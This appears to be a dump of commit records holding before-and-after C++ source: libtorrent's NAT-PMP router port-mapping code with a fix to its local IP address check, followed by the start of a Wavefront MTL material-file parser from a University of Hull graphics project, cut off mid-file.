break;\n\t\t\t\tcase 2: errmsg << \"Not authorized to create port map (enable NAT-PMP on your router)\"; break;\n\t\t\t\tcase 3: errmsg << \"Network failure\"; break;\n\t\t\t\tcase 4: errmsg << \"Out of resources\"; break;\n\t\t\t\tcase 5: errmsg << \"Unsupported opcpde\"; break;\n\t\t\t}\n\t\t\tthrow std::runtime_error(errmsg.str());\n\t\t}\n\n\t\tint tcp_port = 0;\n\t\tint udp_port = 0;\n\t\tif (m.protocol == 1) udp_port = m.external_port;\n\t\telse tcp_port = public_port;\n\t\tm_callback(tcp_port, udp_port, \"\");\n\t}\n\tcatch (std::exception& e)\n\t{\n\t\tusing boost::posix_time::hours;\n\t\t\/\/ try again in two hours\n\t\tm_mappings[m_currently_mapping].expires\n\t\t\t= boost::posix_time::second_clock::universal_time() + hours(2);\n\t\tm_callback(0, 0, e.what());\n\t}\n\tint i = m_currently_mapping;\n\tm_currently_mapping = -1;\n\tm_mappings[i].need_update = false;\n\tupdate_expiration_timer();\n\ttry_next_mapping(i);\n}\n\nvoid natpmp::update_expiration_timer()\n{\n\tusing boost::posix_time::seconds;\n\tboost::posix_time::ptime now = boost::posix_time::second_clock::universal_time();\n\tboost::posix_time::ptime min_expire = now + seconds(3600);\n\tint min_index = -1;\n\tfor (int i = 0; i < 2; ++i)\n\t\tif (m_mappings[i].expires < min_expire\n\t\t\t&& m_mappings[i].local_port != 0)\n\t\t{\n\t\t\tmin_expire = m_mappings[i].expires;\n\t\t\tmin_index = i;\n\t\t}\n\n\tif (min_index >= 0)\n\t{\n\t\tm_refresh_timer.expires_from_now(min_expire - now);\n\t\tm_refresh_timer.async_wait(bind(&natpmp::mapping_expired, this, _1, min_index));\n\t}\n}\n\nvoid natpmp::mapping_expired(asio::error_code const& e, int i)\n{\n\tif (e) return;\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log << \"*** mapping \" << i << \" expired, updating\" << std::endl;\n#endif\n\trefresh_mapping(i);\n}\n\nvoid natpmp::refresh_mapping(int i)\n{\n\tm_mappings[i].need_update = true;\n\tif (m_currently_mapping == -1)\n\t{\n\t\t\/\/ the socket is not currently in use\n\t\t\/\/ send out a mapping request\n\t\tm_retry_count = 0;\n\t\tsend_map_request(i);\n\t\tm_socket.async_receive_from(asio::buffer(&m_response_buffer, 16)\n\t\t\t, m_remote, bind(&natpmp::on_reply, this, _1, _2));\n\t}\n}\n\nvoid natpmp::try_next_mapping(int i)\n{\n\t++i;\n\tif (i >= 2) i = 0;\n\tif (m_mappings[i].need_update)\n\t\trefresh_mapping(i);\n}\n\nvoid natpmp::close()\n{\n\tif (m_disabled) return;\n\tfor (int i = 0; i < 2; ++i)\n\t{\n\t\tif (m_mappings[i].local_port == 0)\n\t\t\tcontinue;\n\t\tm_mappings[i].external_port = 0;\n\t\trefresh_mapping(i);\n\t}\n}\n\n<commit_msg>fixes incorrect local IP address check<commit_after>\/*\n\nCopyright (c) 2007, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include <libtorrent\/natpmp.hpp>\n#include <libtorrent\/io.hpp>\n#include <boost\/bind.hpp>\n#include <boost\/date_time\/posix_time\/posix_time.hpp>\n#include <asio\/ip\/host_name.hpp>\n\nusing boost::bind;\nusing namespace libtorrent;\nusing boost::posix_time::microsec_clock;\n\nnatpmp::natpmp(io_service& ios, portmap_callback_t const& cb)\n\t: m_callback(cb)\n\t, m_currently_mapping(-1)\n\t, m_retry_count(0)\n\t, m_socket(ios)\n\t, m_send_timer(ios)\n\t, m_refresh_timer(ios)\n\t, m_disabled(false)\n{\n\tm_mappings[0].protocol = 2; \/\/ tcp\n\tm_mappings[1].protocol = 1; \/\/ udp\n\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log.open(\"natpmp.log\", std::ios::in | std::ios::out | std::ios::trunc);\n#endif\n\t\n\tudp::resolver r(ios);\n\tudp::resolver::iterator i = r.resolve(udp::resolver::query(asio::ip::host_name(), \"0\"));\n\tfor (;i != udp::resolver_iterator(); ++i)\n\t{\n\t\tif (i->endpoint().address().is_v4()) break;\n\t}\n\n\tif (i == udp::resolver_iterator())\n\t{\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\t\tm_log << \"local host name did not resolve to an IPv4 address. \"\n\t\t\t\"disabling NAT-PMP\" << std::endl;\n#endif\n\t\tm_disabled = true;\n\t\treturn;\n\t}\n\n\taddress_v4 local = i->endpoint().address().to_v4();\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log << to_simple_string(microsec_clock::universal_time())\n\t\t<< \" local ip: \" << local.to_string() << std::endl;\n#endif\n\n\tif ((local.to_ulong() & 0xff000000) != 0x0a000000\n\t\t&& (local.to_ulong() & 0xfff00000) != 0xac100000\n\t\t&& (local.to_ulong() & 0xffff0000) != 0xc0a80000)\n\t{\n\t\t\/\/ the local address seems to be an external\n\t\t\/\/ internet address. Assume it is not behind a NAT\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\t\tm_log << \"not on a NAT. disabling NAT-PMP\" << std::endl;\n#endif\n\t\tm_disabled = true;\n\t\treturn;\n\t}\n\n\t\/\/ assume the router is located on the local\n\t\/\/ network as x.x.x.1\n\t\/\/ TODO: find a better way to figure out the router IP\n\tm_nat_endpoint = udp::endpoint(\n\t\taddress_v4((local.to_ulong() & 0xffffff00) | 1), 5351);\n\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log << \"assuming router is at: \" << m_nat_endpoint.address().to_string() << std::endl;\n#endif\n\n\tm_socket.open(udp::v4());\n\tm_socket.bind(udp::endpoint());\n}\n\nvoid natpmp::set_mappings(int tcp, int udp)\n{\n\tif (m_disabled) return;\n\tupdate_mapping(0, tcp);\n\tupdate_mapping(1, udp);\n}\n\nvoid natpmp::update_mapping(int i, int port)\n{\n\tnatpmp::mapping& m = m_mappings[i];\n\tif (port <= 0) return;\n\tif (m.local_port != port)\n\t\tm.need_update = true;\n\n\tm.local_port = port;\n\t\/\/ prefer the same external port as the local port\n\tif (m.external_port == 0) m.external_port = port;\n\n\tif (m_currently_mapping == -1)\n\t{\n\t\t\/\/ the socket is not currently in use\n\t\t\/\/ send out a mapping request\n\t\tm_retry_count = 0;\n\t\tsend_map_request(i);\n\t\tm_socket.async_receive_from(asio::buffer(&m_response_buffer, 16)\n\t\t\t, m_remote, bind(&natpmp::on_reply, this, _1, _2));\n\t}\n}\n\nvoid natpmp::send_map_request(int i) try\n{\n\tusing namespace libtorrent::detail;\n\tusing boost::posix_time::milliseconds;\n\n\tassert(m_currently_mapping == -1\n\t\t|| m_currently_mapping == i);\n\tm_currently_mapping = i;\n\tmapping& m = m_mappings[i];\n\tchar buf[12];\n\tchar* out = buf;\n\twrite_uint8(0, out); \/\/ NAT-PMP version\n\twrite_uint8(m.protocol, out); \/\/ map \"protocol\"\n\twrite_uint16(0, out); \/\/ reserved\n\twrite_uint16(m.local_port, out); \/\/ private port\n\twrite_uint16(m.external_port, out); \/\/ requested public port\n\tint ttl = m.external_port == 0 ? 0 : 3600;\n\twrite_uint32(ttl, out); \/\/ port mapping lifetime\n\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log << to_simple_string(microsec_clock::universal_time())\n\t\t<< \" ==> port map request: \" << (m.protocol == 1 ? \"udp\" : \"tcp\")\n\t\t<< \" local: \" << m.local_port << \" external: \" << m.external_port\n\t\t<< \" ttl: \" << ttl << std::endl;\n#endif\n\n\tm_socket.send_to(asio::buffer(buf, 12), m_nat_endpoint);\n\t\/\/ linear back-off instead of exponential\n\t++m_retry_count;\n\tm_send_timer.expires_from_now(milliseconds(250 * m_retry_count));\n\tm_send_timer.async_wait(bind(&natpmp::resend_request, this, i, _1));\n}\ncatch (std::exception& e)\n{\n\tstd::string err = e.what();\n}\n\nvoid natpmp::resend_request(int i, asio::error_code const& e)\n{\n\tusing boost::posix_time::hours;\n\tif (e) return;\n\tif (m_retry_count >= 9)\n\t{\n\t\tm_mappings[i].need_update = false;\n\t\t\/\/ try again in two hours\n\t\tm_mappings[i].expires\n\t\t\t= boost::posix_time::second_clock::universal_time() + hours(2);\n\t\treturn;\n\t}\n\tsend_map_request(i);\n}\n\nvoid natpmp::on_reply(asio::error_code const& e\n\t, std::size_t bytes_transferred)\n{\n\tusing namespace libtorrent::detail;\n\tusing boost::posix_time::seconds;\n\tif (e) return;\n\n\ttry\n\t{\n\n\t\tif (m_remote != m_nat_endpoint)\n\t\t{\n\t\t\tm_socket.async_receive_from(asio::buffer(&m_response_buffer, 16)\n\t\t\t\t, m_remote, bind(&natpmp::on_reply, this, _1, _2));\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tm_send_timer.cancel();\n\n\t\tassert(m_currently_mapping >= 0);\n\t\tint i = m_currently_mapping;\n\t\tmapping& m = m_mappings[i];\n\n\t\tchar* in = m_response_buffer;\n\t\tint version = read_uint8(in);\n\t\tint cmd = read_uint8(in);\n\t\tint result = read_uint16(in);\n\t\tint time = read_uint32(in);\n\t\tint private_port = read_uint16(in);\n\t\tint public_port = read_uint16(in);\n\t\tint lifetime = read_uint32(in);\n\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\t\tm_log << to_simple_string(microsec_clock::universal_time())\n\t\t\t<< \" <== port map response: \" << (cmd - 128 == 1 ? \"udp\" : \"tcp\")\n\t\t\t<< \" local: \" << private_port << \" external: \" << public_port\n\t\t\t<< \" ttl: \" << lifetime << std::endl;\n#endif\n\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\t\tif (version != 0)\n\t\t{\n\t\t\tm_log << \"*** unexpected version: \" << version << std::endl;\n\t\t}\n#endif\n\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\t\tif (private_port != m.local_port)\n\t\t{\n\t\t\tm_log << \"*** unexpected local port: \" << private_port << std::endl;\n\t\t}\n#endif\n\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\t\tif (cmd != 128 + m.protocol)\n\t\t{\n\t\t\tm_log << \"*** unexpected protocol: \" << (cmd - 128) << std::endl;\n\t\t}\n#endif\n\n\t\tif (public_port == 0 || lifetime == 0)\n\t\t{\n\t\t\t\/\/ this means the mapping was\n\t\t\t\/\/ successfully closed\n\t\t\tm.local_port = 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm.expires = boost::posix_time::second_clock::universal_time()\n\t\t\t\t+ seconds(int(lifetime * 0.7f));\n\t\t\tm.external_port = public_port;\n\t\t}\n\t\t\n\t\tif (result != 0)\n\t\t{\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\t\t\tm_log << \"*** ERROR: \" << result << std::endl;\n#endif\n\t\t\tstd::stringstream errmsg;\n\t\t\terrmsg << \"NAT router reports error (\" << result << \") \";\n\t\t\tswitch (result)\n\t\t\t{\n\t\t\t\tcase 1: errmsg << \"Unsupported protocol version\"; break;\n\t\t\t\tcase 2: errmsg << \"Not authorized to create port map (enable NAT-PMP on your router)\"; break;\n\t\t\t\tcase 3: errmsg << \"Network failure\"; break;\n\t\t\t\tcase 4: errmsg << \"Out of resources\"; break;\n\t\t\t\tcase 5: errmsg << \"Unsupported opcpde\"; break;\n\t\t\t}\n\t\t\tthrow std::runtime_error(errmsg.str());\n\t\t}\n\n\t\tint tcp_port = 0;\n\t\tint udp_port = 0;\n\t\tif (m.protocol == 1) udp_port = m.external_port;\n\t\telse tcp_port = public_port;\n\t\tm_callback(tcp_port, udp_port, \"\");\n\t}\n\tcatch (std::exception& e)\n\t{\n\t\tusing boost::posix_time::hours;\n\t\t\/\/ try again in two hours\n\t\tm_mappings[m_currently_mapping].expires\n\t\t\t= boost::posix_time::second_clock::universal_time() + hours(2);\n\t\tm_callback(0, 0, e.what());\n\t}\n\tint i = m_currently_mapping;\n\tm_currently_mapping = -1;\n\tm_mappings[i].need_update = false;\n\tupdate_expiration_timer();\n\ttry_next_mapping(i);\n}\n\nvoid natpmp::update_expiration_timer()\n{\n\tusing boost::posix_time::seconds;\n\tboost::posix_time::ptime now = boost::posix_time::second_clock::universal_time();\n\tboost::posix_time::ptime min_expire = now + seconds(3600);\n\tint min_index = -1;\n\tfor (int i = 0; i < 2; ++i)\n\t\tif (m_mappings[i].expires < min_expire\n\t\t\t&& m_mappings[i].local_port != 0)\n\t\t{\n\t\t\tmin_expire = m_mappings[i].expires;\n\t\t\tmin_index = i;\n\t\t}\n\n\tif (min_index >= 0)\n\t{\n\t\tm_refresh_timer.expires_from_now(min_expire - now);\n\t\tm_refresh_timer.async_wait(bind(&natpmp::mapping_expired, this, _1, min_index));\n\t}\n}\n\nvoid natpmp::mapping_expired(asio::error_code const& e, int i)\n{\n\tif (e) return;\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log << \"*** mapping \" << i << \" expired, updating\" << std::endl;\n#endif\n\trefresh_mapping(i);\n}\n\nvoid natpmp::refresh_mapping(int i)\n{\n\tm_mappings[i].need_update = true;\n\tif (m_currently_mapping == -1)\n\t{\n\t\t\/\/ the socket is not currently in use\n\t\t\/\/ send out a mapping request\n\t\tm_retry_count = 0;\n\t\tsend_map_request(i);\n\t\tm_socket.async_receive_from(asio::buffer(&m_response_buffer, 16)\n\t\t\t, m_remote, bind(&natpmp::on_reply, this, _1, _2));\n\t}\n}\n\nvoid natpmp::try_next_mapping(int i)\n{\n\t++i;\n\tif (i >= 2) i = 0;\n\tif (m_mappings[i].need_update)\n\t\trefresh_mapping(i);\n}\n\nvoid natpmp::close()\n{\n\tif (m_disabled) return;\n\tfor (int i = 0; i < 2; ++i)\n\t{\n\t\tif (m_mappings[i].local_port == 0)\n\t\t\tcontinue;\n\t\tm_mappings[i].external_port = 0;\n\t\trefresh_mapping(i);\n\t}\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ -*- Mode:C++ -*-\n\n\/**************************************************************************************************\/\n\/* *\/\n\/* Copyright (C) 2013-2015 University of Hull *\/\n\/* *\/\n\/**************************************************************************************************\/\n\/* *\/\n\/* module : scene\/loader\/mtl.cpp *\/\n\/* project : *\/\n\/* description: *\/\n\/* *\/\n\/**************************************************************************************************\/\n\n\/\/ include i\/f header\n\n#include \"loader\/mtl.hpp\"\n\n\/\/ includes, system\n\n\/\/ altough dealing w\/ lowering the noise level for boost::spirit headers, the pragmas need to be\n\/\/ here\n#if defined(_MSC_VER) && (_MSC_VER < 1800)\n\/\/ warning C4100: 'x' : unreferenced formal parameter\n# pragma warning(disable:4100)\n\/\/ warning C4127: conditional expression is constant\n# pragma warning(disable:4127)\n#endif\n\n#include <boost\/algorithm\/string.hpp> \/\/ boost::trim\n#include <boost\/config\/warning_disable.hpp>\n#include <boost\/fusion\/include\/adapt_struct.hpp>\n#include <boost\/spirit\/include\/phoenix_core.hpp>\n#include <boost\/spirit\/include\/phoenix_object.hpp>\n#include <boost\/spirit\/include\/phoenix_operator.hpp>\n#include <boost\/spirit\/include\/qi.hpp>\n#include <boost\/tokenizer.hpp> \/\/ boost::char_separator<>, boost::tokenizer<>\n#include <cmath> \/\/ std::pow\n#include <fstream> \/\/ std::[i|o]fstream\n#include <istream> \/\/ std::istream\n#include <ostream> \/\/ std::ostream\n\n\/\/ includes, project\n\n\/\/ #include <>\n\n#define UKACHULLDCS_USE_TRACE\n\/\/ #undef UKACHULLDCS_USE_TRACE\n#include <support\/trace.hpp>\n#include <support\/type_info.hpp>\n\n#if defined(UKACHULLDCS_USE_TRACE)\n# include <boost\/fusion\/include\/io.hpp>\n# include <glm\/gtx\/io.hpp>\n#endif\n\nBOOST_FUSION_ADAPT_STRUCT(glm::vec3,\n (glm::vec3::value_type, x)\n (glm::vec3::value_type, y)\n (glm::vec3::value_type, z)\n );\n\n\/\/ internal unnamed namespace\n\nnamespace {\n \n \/\/ types, internal (class, enum, struct, union, typedef)\n\n namespace qi = boost::spirit::qi;\n namespace ascii = boost::spirit::ascii;\n \n template <typename IT>\n struct rgb_parser : qi::grammar<IT, glm::vec3(), ascii::space_type> {\n \n rgb_parser()\n : rgb_parser::base_type(start)\n {\n TRACE_NEVER(\"scene::file::mtl::<unnamed>::rgb_parser::rgb_parser\");\n \n using qi::debug;\n using qi::float_;\n \n start %=\n float_ >> \/\/ x\n float_ >> \/\/ y\n float_ \/\/ z\n ; \n \n \/\/ debug(start);\n }\n \n qi::rule<IT, glm::vec3(), ascii::space_type> start;\n \n };\n\n template <typename IT>\n struct xyz_parser : qi::grammar<IT, glm::vec3(), ascii::space_type> {\n \n xyz_parser()\n : xyz_parser::base_type(start)\n {\n TRACE_NEVER(\"scene::file::mtl::<unnamed>::xyz_parser::xyz_parser\");\n \n using qi::debug;\n using qi::float_;\n using qi::lit;\n \n start %=\n lit(\"xyz\") >> \/\/ \"xyz\"\n float_ >> \/\/ x\n float_ >> \/\/ y\n float_ \/\/ z\n ; \n \n \/\/ debug(start);\n }\n \n qi::rule<IT, glm::vec3(), ascii::space_type> start;\n \n };\n \n template <typename IT>\n struct float_parser : qi::grammar<IT, float(), ascii::space_type> {\n \n float_parser()\n : float_parser::base_type(start)\n {\n TRACE_NEVER(\"scene::file::mtl::<unnamed>::float_parser::float_parser\");\n \n using qi::debug;\n using qi::float_;\n \n start %=\n float_\n ; \n \n \/\/ debug(start);\n }\n \n qi::rule<IT, float(), ascii::space_type> start;\n \n };\n \n \/\/ variables, internal\n \n \/\/ functions, internal\n\n template <typename P, typename O>\n bool\n parse(std::string const& exp, O& o)\n {\n TRACE_NEVER(\"scene::file::mtl::<unamed>::parse<\" +\n support::demangle(typeid(P)) + \",\" + support::demangle(typeid(O)) + \">\");\n \n auto first (exp.begin());\n auto last (exp.end());\n bool const result(phrase_parse(first, last, P(), ascii::space, o));\n\n#if 0 \/\/ defined(UKACHULLDCS_USE_TRACE)\n if (result && first == last) {\n std::cout << support::trace::prefix() << \"scene::file::mtl::parse<\"\n << support::demangle(typeid(P)) << ',' << support::demangle(typeid(O)) << \">: \"\n << boost::fusion::tuple_open('[')\n << boost::fusion::tuple_close(']')\n << boost::fusion::tuple_delimiter(\", \")\n << \"in:'\" << exp << \"', out:\" << o\n << std::endl;\n } else {\n std::cout << support::trace::prefix() << \"scene::file::mtl::parse<\"\n << support::demangle(typeid(P)) << ',' << support::demangle(typeid(O)) << \">: \"\n << \"failed to parse '\" << exp << \"'\" << std::endl;\n }\n#endif\n \n return (result && first == last);\n }\n\n \/*\n * see [http:\/\/www.wikipedia.org\/wiki\/SRGB]\n *\/\n glm::vec3\n xyz_to_rgb(glm::vec3 const& xyz)\n {\n static float const a( 0.055);\n static float const b(12.920);\n static glm::mat3 const c(+3.2406, -1.5372, -0.4986,\n -0.9689, +1.8758, +0.0415,\n +0.0557, -0.2040, +1.0570);\n \n glm::vec3 result(c * (xyz \/ glm::vec3(100.0)));\n \n result.r = (result.r > 0.0031308) ? ((1.0 + a) * std::pow(result.r, 1\/2.4)) : (b * result.r);\n result.g = (result.g > 0.0031308) ? ((1.0 + a) * std::pow(result.g, 1\/2.4)) : (b * result.g);\n result.b = (result.b > 0.0031308) ? ((1.0 + a) * std::pow(result.b, 1\/2.4)) : (b * result.b);\n \n return result;\n }\n \n} \/\/ namespace {\n\nnamespace scene {\n\n namespace file {\n\n namespace mtl {\n \n \/\/ variables, exported\n \n \/\/ functions, exported\n\n list_type\n load(std::istream& is)\n {\n TRACE(\"scene::file::mtl::load(std::istream)\");\n\n list_type result;\n\n result.push_back(new scene::object::material);\n \n std::string line;\n \n while (std::getline(is, line)) {\n if (line.empty() || ('#' == line[0]) || ('!' == line[0]) || ('$' == line[0])) {\n continue;\n }\n\n static boost::char_separator<char> const token_separator_space(\" \");\n \n typedef boost::tokenizer<boost::char_separator<char>> tokenizer;\n \n tokenizer tokens(line, token_separator_space);\n \n \/\/ bump -options args filename\n \n if (\"d\" == *tokens.begin()) { \/\/ d [-halo] f\n std::string const exp(line.begin() + (*tokens.begin()).length(), line.end());\n float d;\n \n if (parse<float_parser<std::string::const_iterator>>(exp, d)) {\n (*result.rbegin())->alpha = d;\n }\n }\n\n else if (\"illum\" == *tokens.begin()) { \/\/ illum #\n \/\/ nothing to do (yet)\n }\n \n else if (\"Ka\" == *tokens.begin()) { \/\/ Ka [r g b] | [spectral file.refl f] | [xyz x y z]\n std::string const exp(line.begin() + (*tokens.begin()).length(), line.end());\n glm::vec3 c;\n \n if (parse<rgb_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->ambient = c;\n } else if (parse<xyz_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->ambient = xyz_to_rgb(c);\n }\n }\n\n else if (\"Ke\" == *tokens.begin()) { \/\/ Ke [r g b] | [spectral file.refl f] | [xyz x y z]\n std::string const exp(line.begin() + (*tokens.begin()).length(), line.end());\n glm::vec3 c;\n \n if (parse<rgb_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->emission = c;\n } else if (parse<xyz_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->emission = xyz_to_rgb(c);\n }\n }\n \n else if (\"Kd\" == *tokens.begin()) { \/\/ Kd [r g b] | [spectral file.refl f] | [xyz x y z]\n std::string const exp(line.begin() + (*tokens.begin()).length(), line.end());\n glm::vec3 c;\n \n if (parse<rgb_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->diffuse = c;\n } else if (parse<xyz_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->diffuse = xyz_to_rgb(c);\n }\n }\n\n else if (\"Ks\" == *tokens.begin()) { \/\/ Ks [r g b] | [spectral file.refl f] | [xyz x y z]\n std::string const exp(line.begin() + (*tokens.begin()).length(), line.end());\n glm::vec3 c;\n \n if (parse<rgb_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->specular = c;\n } else if (parse<xyz_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->specular = xyz_to_rgb(c);\n }\n }\n \n \/\/ else if (\"map_d\" == *tokens.begin()) { \/\/ map_d -options args filename\n \/\/ }\n\n \/\/ else if (\"map_Ka\" == *tokens.begin()) { \/\/ map_Ka -options args filenam\n \/\/ }\n\n \/\/ else if (\"map_Ke\" == *tokens.begin()) { \/\/ map_Ka -options args filenam\n \/\/ }\n \n \/\/ else if (\"map_Kd\" == *tokens.begin()) { \/\/ map_Kd -options args filename\n \/\/ }\n \n \/\/ else if (\"map_Ks\" == *tokens.begin()) { \/\/ map_Ks -options args filename\n \/\/ }\n\n \/\/ else if (\"map_Ns\" == *tokens.begin()) { \/\/ map_Ns -options args filename\n \/\/ }\n \n else if (\"Ni\" == *tokens.begin()) { \/\/ Ni f\n std::string const exp(line.begin() + (*tokens.begin()).length(), line.end());\n float r;\n \n if (parse<float_parser<std::string::const_iterator>>(exp, r)) {\n (*result.rbegin())->refraction = r;\n }\n }\n \n else if (\"Ns\" == *tokens.begin()) { \/\/ Ns exp\n std::string const exp(line.begin() + (*tokens.begin()).length(), line.end());\n float s;\n \n if (parse<float_parser<std::string::const_iterator>>(exp, s)) {\n (*result.rbegin())->shininess = s;\n }\n }\n \n else if (\"newmtl\" == *tokens.begin()) { \/\/ newmtl <string>\n result.push_back(new scene::object::material);\n }\n \n \/\/else if (\"refl\" == *tokens.begin()) { \/\/refl -type <type> -options -args filename\n \/\/}\n \n else if (\"Tf\" == *tokens.begin()) { \/\/ Tf [r g b] | [spectral file.refl f] | [xyz x y z]\n std::string const exp(line.begin() + (*tokens.begin()).length(), line.end());\n glm::vec3 c;\n \n if (parse<rgb_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->transmission = c;\n } else if (parse<xyz_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->transmission = xyz_to_rgb(c);\n }\n }\n \n else if (\"Tr\" == *tokens.begin()) { \/\/ Tr x (== 1 - alpha)\n std::string const exp(line.begin() + (*tokens.begin()).length(), line.end());\n float t;\n \n if (parse<float_parser<std::string::const_iterator>>(exp, t)) {\n (*result.rbegin())->alpha = (1.0f - t);\n }\n }\n\n else if (\"TWOSIDE\" == *tokens.begin()) { \/\/ TWOSIDE (non-standard)\n (*result.rbegin())->front = true;\n (*result.rbegin())->back = true;\n }\n\n#if 0 \/\/ defined(UKACHULLDCS_USE_TRACE)\n else {\n std::cout << support::trace::prefix() << \"scene::file::mtl::load(std::istream): \"\n << \"unhandled token '\" << *tokens.begin() << \"'; skipping \"\n << \"whole line '\" << line << \"'\" << std::endl;\n }\n#endif\n }\n\n return result;\n }\n \n list_type\n load(std::string const& a)\n {\n TRACE(\"scene::file::mtl::load(std::string) [\" + a + \"]\");\n\n list_type result;\n std::ifstream ifs(a, std::ios::in|std::ios::binary);\n \n if (ifs.is_open()) {\n result = load(ifs);\n }\n \n return result;\n }\n \n bool\n save(std::ostream&, list_type const&)\n {\n TRACE(\"scene::file::mtl::save(std::ostream)\");\n\n return false;\n }\n \n bool\n save(std::string const& a, list_type const& b)\n {\n TRACE(\"scene::file::mtl::save(std::string) [\" + a + \"]\");\n\n bool result(false);\n std::ofstream ofs(a, std::ios::out|std::ios::binary|std::ios::trunc);\n\n if (ofs.is_open()) {\n result = save(ofs, b);\n }\n \n return result;\n }\n \n } \/\/ namespace mtl {\n \n } \/\/ namespace file {\n \n} \/\/ namespace scene {\n<commit_msg>cleanup + adding material name<commit_after>\/\/ -*- Mode:C++ -*-\n\n\/**************************************************************************************************\/\n\/* *\/\n\/* Copyright (C) 2013-2015 University of Hull *\/\n\/* *\/\n\/**************************************************************************************************\/\n\/* *\/\n\/* module : scene\/loader\/mtl.cpp *\/\n\/* project : *\/\n\/* description: *\/\n\/* *\/\n\/**************************************************************************************************\/\n\n\/\/ include i\/f header\n\n#include \"loader\/mtl.hpp\"\n\n\/\/ includes, system\n\n\/\/ altough dealing w\/ lowering the noise level for boost::spirit headers, the pragmas need to be\n\/\/ here\n#if defined(_MSC_VER) && (_MSC_VER < 1800)\n\/\/ warning C4100: 'x' : unreferenced formal parameter\n# pragma warning(disable:4100)\n\/\/ warning C4127: conditional expression is constant\n# pragma warning(disable:4127)\n#endif\n\n#include <boost\/algorithm\/string.hpp> \/\/ boost::trim\n#include <boost\/config\/warning_disable.hpp>\n#include <boost\/fusion\/include\/adapt_struct.hpp>\n#include <boost\/spirit\/include\/phoenix_core.hpp>\n#include <boost\/spirit\/include\/phoenix_object.hpp>\n#include <boost\/spirit\/include\/phoenix_operator.hpp>\n#include <boost\/spirit\/include\/qi.hpp>\n#include <boost\/tokenizer.hpp> \/\/ boost::char_separator<>, boost::tokenizer<>\n#include <cmath> \/\/ std::pow\n#include <fstream> \/\/ std::[i|o]fstream\n#include <istream> \/\/ std::istream\n#include <ostream> \/\/ std::ostream\n\n\/\/ includes, project\n\n\/\/ #include <>\n\n#define UKACHULLDCS_USE_TRACE\n#undef UKACHULLDCS_USE_TRACE\n#include <support\/trace.hpp>\n#include <support\/type_info.hpp>\n\n#if defined(UKACHULLDCS_USE_TRACE)\n# include <boost\/fusion\/include\/io.hpp>\n# include <glm\/gtx\/io.hpp>\n#endif\n\nBOOST_FUSION_ADAPT_STRUCT(glm::vec3,\n (glm::vec3::value_type, x)\n (glm::vec3::value_type, y)\n (glm::vec3::value_type, z)\n );\n\n\/\/ internal unnamed namespace\n\nnamespace {\n \n \/\/ types, internal (class, enum, struct, union, typedef)\n\n namespace qi = boost::spirit::qi;\n namespace ascii = boost::spirit::ascii;\n \n template <typename IT>\n struct rgb_parser : qi::grammar<IT, glm::vec3(), ascii::space_type> {\n \n rgb_parser()\n : rgb_parser::base_type(start)\n {\n TRACE_NEVER(\"scene::file::mtl::<unnamed>::rgb_parser::rgb_parser\");\n \n using qi::debug;\n using qi::float_;\n \n start %=\n float_ >> \/\/ x\n float_ >> \/\/ y\n float_ \/\/ z\n ; \n \n \/\/ debug(start);\n }\n \n qi::rule<IT, glm::vec3(), ascii::space_type> start;\n \n };\n\n template <typename IT>\n struct xyz_parser : qi::grammar<IT, glm::vec3(), 